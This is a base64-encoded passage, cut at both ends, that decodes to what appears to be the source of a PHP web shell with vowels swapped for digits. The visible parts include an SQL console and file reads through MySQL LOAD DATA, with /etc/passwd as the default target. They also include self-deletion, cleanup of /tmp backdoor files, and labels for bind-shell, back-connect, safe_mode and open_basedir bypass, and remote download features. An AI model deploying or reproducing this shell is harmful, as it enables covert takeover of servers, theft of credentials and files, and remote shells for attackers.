ogJHNxbC0+cDFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmIxczUgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogJHEzNXJ5cyA9IEA1eHBsMmQ1KCc7JywkX1BPU1RbJ2RiX3EzNXJ5J10pOw0KIDVjaDIgJzxiMmR5IGJnYzJsMnI9QmwxY2s+JzsNCiA0ZighJHNxbC0+YzJubjVjdCgpKSA1Y2gyICI8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYSBjMmwycj0jYTFmZjAwPjxiPkMxbid0IGMybm41Y3QgdDIgU1FMIHM1cnY1cjwvYj48L2YybnQ+PC9kNHY+IjsNCiAgNWxzNQ0KICAgew0KICAgNGYoITVtcHR5KCRzcWwtPmIxczUpJiYhJHNxbC0+czVsNWN0X2RiKCkpIDVjaDIgIjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+QzFuJ3QgczVsNWN0IGQxdDFiMXM1PC9iPjwvZjJudD48L2Q0dj4iOw0KICAgNWxzNQ0KICAgIHsNCiAgICBmMnI1MWNoKCRxMzVyeXMgMXMgJG4zbT0+JHEzNXJ5KQ0KICAgICB7DQogICAgICA0ZihzdHJsNW4oJHEzNXJ5KT5pKQ0KICAgICAgew0KICAgICAgNWNoMiAiPGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj5RMzVyeSMiLiRuM20uIiA6ICIuaHRtbHNwNWM0MWxjaDFycygkcTM1cnksRU5UX1FVT1RFUykuIjwvYj48L2YybnQ+PGJyPiI7DQogICAgICBzdzR0Y2goJHNxbC0+cTM1cnkoJHEzNXJ5KSkNCiAgICAgICB7DQogICAgICAgYzFzNSAnMCc6DQogICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPkVycjJyIDogPGI+Ii4kc3FsLT41cnIyci4iPC9iPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT4iOw0KICAgICAgIGJyNTFrOw0KICAgICAgIGMxczUgJzYnOg0KICAgICAgIDRmKCRzcWwtPmc1dF9yNXMzbHQoKSkNCiAgICAgICAgew0KICAgICAgIAk1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBiMnJkNXI9MCBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+IjsNCiAgICAgICAgZjJyNTFjaCgkc3FsLT5jMmwzbW5zIDFzICRrPT4kdikgJHNxbC0+YzJsM21uc1ska10gPSBodG1sc3A1YzQxbGNoMXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkkazV5cyA9IEA0bXBsMmQ1KCIgPC9iPjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAiLCAkc3FsLT5jMmwzbW5zKTsNCiAgICAgICAgNWNoMiAiPHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9I29vb29vbz48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4gIi4kazV5cy4iIDwvYj48L2YybnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGYycigkND0wOyQ0PCRzcWwtPm4zbV9yMndzOyQ0KyspDQogICAgICAgICB7DQogICAgICAgICBmMnI1MWNoKCRzcWwtPnIyd3NbJDRdIDFzICRrPT4kdikgJHNxbC0+cjJ3c1skNF1bJGtdID0gaHRtbHNwNWM0MWxjaDFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2MWwzNXMgPSBANG1wbDJkNSgiIDwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPiAiLCRzcWwtPnIyd3NbJDRdKTsNCiAgICAgICAgIDVjaDIgJzx0cj48dGQgY2wxc3M9bTE0bj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4gJy4kdjFsMzVzLicgPC9mMm50PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8L3QxYmw1PiI7DQogICAgICAgIH0NCiAgICAgICBicjUxazsNCiAgICAgICBjMXM1ICdhJzoNCiAgICAgICAkMXIgPSAkc3FsLT4xZmY1Y3Q1ZF9yMndzKCk/KCRzcWwtPjFmZjVjdDVkX3Iyd3MoKSk6KCcwJyk7DQogICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjFmZjVjdDVkIHIyd3MgOiA8Yj4iLiQxci4iPC9iPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT48YnI+IjsNCiAgICAgICBicjUxazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgNWNoMiAiPGJyPjxkNHYgMWw0Z249bDVmdCA0ZD0nbic+PHQxYmw1IHc0ZHRoPTYwMCUgaDU0Z2h0PWUwIGIycmQ1cj0wIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MD4iOw0KICAgIDVjaDIgIjx0cj48dGQgMWw0Z249YzVudDVyPjxiPlNoMncgRDF0MWIxczU8L2I+PC90ZD48dGQgMWw0Z249YzVudDVyPjxiPlNoMncgVDFibDVzPC9iPjwvdGQ+PC90cj4iOw0KICAgIDVjaDIgIjx0cj48dGQ+PHQ1eHQxcjUxIGMybHM9aTAgcjJ3cz1lIG4xbTU9cTM1cnlfZGI+IjsNCiAgICAkcTM1cnlfZGIgPSBteXNxbF9xMzVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAgd2g0bDUgKCRxMzVyeV9kYl9yMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnlfZGIpKQ0KICAgIHsNCiAgICAJNWNoMiAkcTM1cnlfZGJfcjJ3WzBdLiJcbiI7DQogICAgfQ0KICAgIDVjaDIgIjwvdDV4dDFyNTE+PC90ZD48dGQ+PGQ0diAxbDRnbj1yNGdodD48dDV4dDFyNTEgYzJscz1lMCByMndzPWUgbjFtNT1xMzVyeV90MWJsNXM+IjsNCiAgICA0ZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+czVsNWN0X2RiKCkpDQogICAgew0KICAgICAkcTM1cnlfdDFibDVzID0gbXlzcWxfcTM1cnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB3aDRsNSAoJHEzNXJ5X3QxYmw1c19yMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnlfdDFibDVzKSkNCiAgICAgew0KICAgICAJNWNoMiAkcTM1cnlfdDFibDVzX3Iyd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KICAgIDVjaDIgIjwvdDV4dDFyNTE+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+PC9kNHY+IjsNCiAgIH0NCiA1Y2gyICI8YnI+PGYycm0gbjFtNT1mMnJtIG01dGgyZD1QT1NUPiI7DQogNWNoMiA0bignaDRkZDVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiA1Y2gyIDRuKCdoNGRkNW4nLCdkYl9zNXJ2NXInLDAsJF9QT1NUWydkYl9zNXJ2NXInXSk7DQogNWNoMiA0bignaDRkZDVuJywnZGJfcDJydCcsMCwkX1BPU1RbJ2RiX3AycnQnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiA1Y2gyIDRuKCdoNGRkNW4nLCdjbWQnLDAsJ2RiX3EzNXJ5Jyk7DQogNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+IjsNCiA1Y2gyICI8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5VczUgZDF0MWIxczU6IDwvYj48NG5wM3QgdHlwNT10NXh0IG4xbTU9bXlzcWxfZGIgdjFsMzU9XCIiLiRzcWwtPmIxczUuIlwiPjwvZjJudD48YnI+IjsNCiA1Y2gyICI8dDV4dDFyNTEgYzJscz1laSByMndzPTYwIG4xbTU9ZGJfcTM1cnk+Ii4oITVtcHR5KCRfUE9TVFsnZGJfcTM1cnknXSk/KCRfUE9TVFsnZGJfcTM1cnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdDV4dDFyNTE+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1cIiBSM24gU1FMIHEzNXJ5IFwiPjwvZDR2Pjxicj48YnI+IjsNCiA1Y2gyICI8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5MMjFkIGY0bDU6IDwvYj48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDIxZGY0bDUgczR6NT02MDAgdjFsMzU9Ii4oITVtcHR5KCRfUE9TVFsnbDIxZGY0bDUnXSk/KCRfUE9TVFsnbDIxZGY0bDUnXSk6KCIvNXRjL3Axc3N3ZCIpKS4iPiIud3MoYSkuIjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1cIiBMMjFkIFwiPjxiciAvPjxiciAvPiI7DQogNWNoMiAiPGI+RjRsNSBjMm50NW50PC9iPjxicj48YnI+IjsNCiA1Y2gyICI8dDV4dDFyNTEgYzJscz02YTYgcjJ3cz02aSBuMW01PXNoMndsMjFkZjRsNT4iOw0KIEBteXNxbF9xMzVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgbDMzdHl0M24iKTsNCiBAbXlzcWxfcTM1cnkoIkNSRUFURSBUQUJMRSBgbDMzdHl0M25gICggYGY0bDVgIExPTkdCTE9CIE5PVCBOVUxMICkiKTsNCiBAbXlzcWxfcTM1cnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgXCIiLnN0cl9yNXBsMWM1KCdcXCcsJy8nLCRfUE9TVFsnbDIxZGY0bDUnXSkuIlwiIElOVE8gVEFCTEUgbDMzdHl0M24gRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xMzVyeSgiU0VMRUNUICogRlJPTSBsMzN0eXQzbiIpOw0KIHdoNGw1KCgkcl9zcWwgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHIpKSkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcTM1cnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIGwzM3R5dDNuIik7DQogNWNoMiAiPC90NXh0MXI1MT48L2Q0dj4iOw0KIDVjaDIgIjwvZjJybT4iOw0KIDVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7IGQ0NSgpOw0KIH0NCjRmKDRzczV0KCRfR0VUWydkNWw1dDUnXSkpDQogew0KICAgQDNubDRuayhfX0ZJTEVfXyk7DQogfQ0KNGYoNHNzNXQoJF9HRVRbJ3RtcCddKSkNCiB7DQogICBAM25sNG5rKCIvdG1wL2JkcGwiKTsNCiAgIEAzbmw0bmsoIi90bXAvYjFjayIpOw0KICAgQDNubDRuaygiL3RtcC9iZCIpOw0KICAgQDNubDRuaygiL3RtcC9iZC5jIik7DQogICBAM25sNG5rKCIvdG1wL2RwIik7DQogICBAM25sNG5rKCIvdG1wL2RwYyIpOw0KICAgQDNubDRuaygiL3RtcC9kcGMuYyIpOw0KIH0NCjRmKDRzczV0KCRfR0VUWydwaHA0bjQnXSkpDQp7DQo1Y2gyICRoNTFkOw0KZjNuY3Q0Mm4gVV92MWwzNSgkdjFsMzUpDQogew0KIDRmICgkdjFsMzUgPT0gJycpIHI1dDNybiAnPDQ+bjIgdjFsMzU8LzQ+JzsNCiA0ZiAoQDRzX2IyMmwoJHYxbDM1KSkgcjV0M3JuICR2MWwzNSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogNGYgKCR2MWwzNSA9PT0gbjNsbCkgcjV0M3JuICdOVUxMJzsNCiA0ZiAoQDRzXzJiajVjdCgkdjFsMzUpKSAkdjFsMzUgPSAoMXJyMXkpICR2MWwzNTsNCiA0ZiAoQDRzXzFycjF5KCR2MWwzNSkpDQogew0KIEAyYl9zdDFydCgpOw0KIHByNG50X3IoJHYxbDM1KTsNCiAkdjFsMzUgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQogQDJiXzVuZF9jbDUxbigpOw0KIH0NCiByNXQzcm4gVV93MnJkd3IxcCgoc3RyNG5nKSAkdjFsMzUpOw0KIH0NCmYzbmN0NDJuIFVfdzJyZHdyMXAoJHN0cikNCiB7DQogJHN0ciA9IEB3MnJkd3IxcChAaHRtbHNwNWM0MWxjaDFycygkc3RyKSwgNjAwLCAnPHdiciAvPicsIHRyMzUpOw0KIHI1dDNybiBAcHI1Z19yNXBsMWM1KCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQ2JGE8d2JyIC8+JywgJHN0cik7DQogfQ0KNGYgKEBmM25jdDQybl81eDRzdHMoJzRuNF9nNXRfMWxsJykpDQogew0KICRyID0gJyc7DQogNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCU+JywgJzx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPSNvb29vb28+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48ZDR2IDFsNGduPWM1bnQ1cj48Yj5ENHI1Y3Q0djU8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj0jb29vb29vPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGQ0diAxbDRnbj1jNW50NXI+PGI+TDJjMWwgVjFsMzU8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj0jb29vb29vPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGQ0diAxbDRnbj1jNW50NXI+PGI+TTFzdDVyIFYxbDM1PC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiBmMnI1MWNoIChANG40X2c1dF8xbGwoKSAxcyAkazV5PT4kdjFsMzUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLiRrNXkuJzwvYj48L2YybnQ+PC90ZD48dGQgY2wxc3M9bTE0bj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48ZDR2IDFsNGduPWM1bnQ1cj48Yj4nLlVfdjFsMzUoJHYxbDM1WydsMmMxbF92MWwzNSddKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxkNHYgMWw0Z249YzVudDVyPjxiPicuVV92MWwzNSgkdjFsMzVbJ2dsMmIxbF92MWwzNSddKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgfQ0KIDVjaDIgJHI7DQogNWNoMiAnPC90MWJsNT4nOw0KIH0NCjVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7DQpkNDUoKTsNCn0NCjRmKDRzczV0KCRfR0VUWydjcDMnXSkpDQogew0KICAgNWNoMiAkaDUxZDsNCiAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+Q1BVPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+PC90MWJsNT48dDFibDUgdzRkdGg9NjAwJT4nOw0KICAgJGNwM2YgPSBAZjRsNSgiY3AzNG5mMiIpOw0KICAgNGYoJGNwM2YpDQogICAgew0KICAgICAgJGMgPSBAczR6NTJmKCRjcDNmKTsNCiAgICAgIGYycigkND0wOyQ0PCRjOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAkNG5mMiA9IEA1eHBsMmQ1KCI6IiwkY3AzZlskNF0pOw0KICAgICAgICAgIDRmKCQ0bmYyWzZdPT0iIil7ICQ0bmYyWzZdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLnRyNG0oJDRuZjJbMF0pLic8L2I+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGQ0diAxbDRnbj1jNW50NXI+PGI+Jy50cjRtKCQ0bmYyWzZdKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgNWNoMiAkcjsNCiAgICB9DQogICA1bHM1DQogICAgew0KICAgICAgNWNoMiAnPHRyPjx0ZCBjbDFzcz1tMTRuPicud3MobykuJzxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAtLS0gPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+JzsNCiAgICB9DQogICA1Y2gyICc8L3QxYmw1Pic7DQogICA1Y2gyICI8YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOw0KICAgZDQ1KCk7DQogfQ0KNGYoNHNzNXQoJF9HRVRbJ201bSddKSkNCiB7DQogICA1Y2gyICRoNTFkOw0KICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj5NRU1PUlk8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1Pjx0MWJsNSB3NGR0aD02MDAlPic7DQogICAkbTVtZiA9IEBmNGw1KCJtNW00bmYyIik7DQogICA0ZigkbTVtZikNCiAgICB7DQogICAgICAkYyA9IHM0ejUyZigkbTVtZik7DQogICAgICBmMnIoJDQ9MDskNDwkYzskNCsrKQ0KICAgICAgICB7DQogICAgICAgICAgJDRuZjIgPSA1eHBsMmQ1KCI6IiwkbTVtZlskNF0pOw0KICAgICAgICAgIDRmKCQ0bmYyWzZdPT0iIil7ICQ0bmYyWzZdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLnRyNG0oJDRuZjJbMF0pLic8L2I+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGQ0diAxbDRnbj1jNW50NXI+PGI+Jy50cjRtKCQ0bmYyWzZdKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgNWNoMiAkcjsNCiAgICB9DQogICA1bHM1DQogICAgew0KICAgICAgNWNoMiAnPHRyPjx0ZCBjbDFzcz1tMTRuPicud3MobykuJzxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAtLS0gPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+JzsNCiAgICB9DQogICA1Y2gyICc8L3QxYmw1Pic7DQogICA1Y2gyICI8YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOw0KICAgZDQ1KCk7DQogfQ0KJGwxbmc9MXJyMXkoDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCic1bmdfdDV4dDYnID0+J0V4NWMzdDVkIGMybW0xbmQnLA0KJzVuZ190NXh0YScgPT4nRXg1YzN0NSBjMm1tMW5kIDJuIHM1cnY1cicsDQonNW5nX3Q1eHRvJyA9PidSM24gYzJtbTFuZCcsDQonNW5nX3Q1eHR1JyA9PidXMnJrIGQ0cjVjdDJyeScsDQonNW5nX3Q1eHRpJyA9PidVcGwyMWQgZjRsNXMgMm4gczVydjVyJywNCic1bmdfdDV4dGUnID0+J0wyYzFsIGY0bDUnLA0KJzVuZ190NXh0NycgPT4nQWw0MXM1cycsDQonNW5nX3Q1eHQ4JyA9PidTNWw1Y3QgMWw0MXMnLA0KJzVuZ19iM3R0NicgPT4nRXg1YzN0NScsDQonNW5nX2IzdHRhJyA9PidVcGwyMWQnLA0KJzVuZ190NXh0OScgPT4nQjRuZCBwMnJ0IHQyIC9iNG4vYjFzaCcsDQonNW5nX3Q1eHQ2MCc9PidQMnJ0JywNCic1bmdfdDV4dDY2Jz0+J1Axc3N3MnJkIGYyciAxY2M1c3MnLA0KJzVuZ19iM3R0bycgPT4nQjRuZCcsDQonNW5nX3Q1eHQ2YSc9PidiMWNrLWMybm41Y3QnLA0KJzVuZ190NXh0Nm8nPT4nSVAnLA0KJzVuZ190NXh0NnUnPT4nUDJydCcsDQonNW5nX2IzdHR1JyA9PidDMm5uNWN0JywNCic1bmdfdDV4dDZpJz0+J1VwbDIxZCBmNGw1cyBmcjJtIHI1bTJ0NSBzNXJ2NXInLA0KJzVuZ190NXh0NmUnPT4nVzR0aCcsDQonNW5nX3Q1eHQ2Nyc9PidSNW0ydDUgZjRsNScsDQonNW5nX3Q1eHQ2OCc9PidMMmMxbCBmNGw1JywNCic1bmdfdDV4dGEwJz0+J1VzNScsDQonNW5nX3Q1eHRhNic9PicgTjV3IG4xbTUnLA0KJzVuZ190NXh0YW8nPT4nTDJjMWwgcDJydCcsDQonNW5nX3Q1eHRhdSc9PidSNW0ydDUgaDJzdCcsDQonNW5nX3Q1eHRhaSc9PidSNW0ydDUgcDJydCcsDQonNW5nX3Q1eHRhZSc9PidVczUnLA0KJzVuZ19iM3R0aScgPT4nUjNuJywNCic1bmdfdDV4dGE4Jz0+J1cycmsgNG4gczFmNV9tMmQ1JywNCic1bmdfdDV4dGE5Jz0+Jy4uLjo6OiBBQ0NFU1MgREVOSUVEIDo6Oi4uLicsDQonNW5nX2IzdHRlJyA9PidDaDFuZzUnLA0KJzVuZ190NXh0bzAnPT4nQzF0IGY0bDUnLA0KJzVuZ19iM3R0NycgPT4nU2gydycsDQonNW5nX3Q1eHRvNic9PidGNGw1IG4ydCBmMjNuZCcsDQonNW5nX3Q1eHRvYSc9PidFdjFsIFBIUCBjMmQ1JywNCic1bmdfdDV4dG9vJz0+J1Q1c3QgYnlwMXNzIDJwNW5fYjFzNWQ0ciB3NHRoIGNVUkwgZjNuY3Q0Mm5zJywNCic1bmdfdDV4dG8wMCc9PidyNTFkIGY0bDUgZnIybSB2M2wgYzNybCgpJywNCic1bmdfYjN0dDgnID0+J1Q1c3QnLA0KJzVuZ190NXh0b3UnPT4nJywNCic1bmdfdDV4dG9pJz0+J1Q1c3QgYnlwMXNzIHc0dGggbDIxZCBmNGw1IDRuIG15c3FsJywNCic1bmdfdDV4dG9lJz0+J0RiIC4gVDFibDUnLA0KJzVuZ190NXh0bzcnPT4nTDJnNG4nLA0KJzVuZ190NXh0bzgnPT4nUDFzc3cycmQnLA0KJzVuZ190NXh0bzknPT4nRDF0MWIxczUnLA0KJzVuZ190NXh0dTAnPT4nRDNtcCBkMXQxYjFzNSB0MWJsNScsDQonNW5nX2IzdHQ5JyA9PidEM21wJywNCic1bmdfdDV4dHU2Jz0+J1MxdjUgZDNtcCA0biBmNGw1JywNCic1bmdfdDV4dHVhJz0+J0VkNHQgZjRsNXMnLA0KJzVuZ190NXh0dW8nPT4nRjRsNSBmMnIgNWQ0dCcsDQonNW5nX2IzdHQ2MCc9PidTMXY1JywNCic1bmdfdDV4dHV1Jz0+J0MxblwndCA1ZDR0IGY0bDUhIE9ubHkgcjUxZCAxY2M1c3MhJywNCic1bmdfdDV4dHVpJz0+J0Y0bDUgczF2NWQnLA0KJzVuZ190NXh0dWUnPT4nU2gydyBwaHA0bmYyKCknLA0KJzVuZ190NXh0dTcnPT4nU2gydyB2MXI0MWJsNXMgZnIybSBwaHAuNG40JywNCic1bmdfdDV4dHU4Jz0+J0Q1bDV0NSB0NW1wIGY0bDVzJywNCic1bmdfYjN0dDY2Jz0+J0VkNHQgZjRsNScsDQonNW5nX3Q1eHR1OSc9PidENWw1dDUgc2NyNHB0IGZyMm0gczVydjVyJywNCic1bmdfdDV4dGkwJz0+J1Y0NXcgY3AzIDRuZjInLA0KJzVuZ190NXh0aTYnPT4nVjQ1dyBtNW0ycnkgNG5mMicsDQonNW5nX3Q1eHRpYSc9PidGNG5kIHQ1eHQnLA0KJzVuZ190NXh0aW8nPT4nSW4gZDRycycsDQonNW5nX3Q1eHRpdSc9PidGNG5kIHQ1eHQgNG4gZjRsNXMnLA0KJzVuZ19iM3R0NmEnPT4nRjRuZCcsDQonNW5nX3Q1eHRpaSc9PidPbmx5IDRuIGY0bDVzJywNCic1bmdfdDV4dGllJz0+J04ydGg0bmcgOignLA0KJzVuZ190NXh0aTcnPT4nQ3I1MXQ1L0Q1bDV0NSBGNGw1L0Q0cicsDQonNW5nX3Q1eHRpOCc9PiduMW01JywNCic1bmdfdDV4dGk5Jz0+J2Y0bDUnLA0KJzVuZ190NXh0ZTAnPT4nZDRyJywNCic1bmdfYjN0dDZvJz0+J0NyNTF0NS9ENWw1dDUnLA0KJzVuZ190NXh0ZTYnPT4nRjRsNSBjcjUxdDVkJywNCic1bmdfdDV4dGVhJz0+J0Q0ciBjcjUxdDVkJywNCic1bmdfdDV4dGVvJz0+J0Y0bDUgZDVsNXQ1ZCcsDQonNW5nX3Q1eHRldSc9PidENHIgZDVsNXQ1ZCcsDQonNW5nX3Q1eHRlaSc9PidDcjUxdDUnLA0KJzVuZ190NXh0ZWUnPT4nRDVsNXQ1JywNCic1bmdfdDV4dGU3Jz0+J0NoMnduL0NoZ3JwL0NobTJkJywNCic1bmdfdDV4dGU4Jz0+J0MybW0xbmQnLA0KJzVuZ190NXh0ZTknPT4ncDFyMW02JywNCic1bmdfdDV4dDcwJz0+J3AxcjFtYScsDQonNW5nX3Q1eHQ3Nic9PiJTNWMybmQgYzJtbTFuZHMgcDFyMW0gNHM6XHJcbi0gZjJyIENIT1dOIC0gbjFtNSAyZiBuNXcgMnduNXIgMnIgVUlEXHJcbi0gZjJyIENIR1JQIC0gZ3IyM3AgbjFtNSAyciBHSURcclxuLSBmMnIgQ0hNT0QgLSAwNzc3LCAwN2lpLi4uIiwNCic1bmdfdDV4dDdhJz0+J1Q1eHQgZjJyIGY0bmQnLA0KJzVuZ190NXh0N28nPT4nRjRuZCA0biBmMmxkNXInLA0KJzVuZ190NXh0N3UnPT4nRjRuZCA0biBmNGw1cycsDQonNW5nX3Q1eHQ3aSc9PicqIHkyMyBjMW4gM3M1IHI1ZzV4cCcsDQonNW5nX3Q1eHQ3ZSc9PicnLA0KJzVuZ190NXh0ODAnPT4nVHlwNScsDQonNW5nX3Q1eHQ4Nic9PidONXQnLA0KJzVuZ190NXh0OGEnPT4nRDF0MWIxczVzJywNCic1bmdfdDV4dDhvJz0+J1IzbiBTUUwgcTM1cnknLA0KJzVuZ190NXh0OHUnPT4nU1FMIHEzNXJ5JywNCic1bmdfdDV4dDhpJz0+J1Q1c3QgYnlwMXNzIHMxZjVfbTJkNSB3NHRoIGMybW0xbmRzIDV4NWMzdDUgdjQxIE1TU1FMIHM1cnY1cicsDQonNW5nX3Q1eHQ4ZSc9PidEMndubDIxZCBmNGw1cyBmcjJtIHM1cnY1cicsDQonNW5nX2IzdHQ2dSc9PidEMndubDIxZCcsDQonNW5nX3Q1eHQ4Nyc9PidEMndubDIxZCBmNGw1cyBmcjJtIHI1bTJ0NSBmdHAtczVydjVyJywNCic1bmdfdDV4dDg4Jz0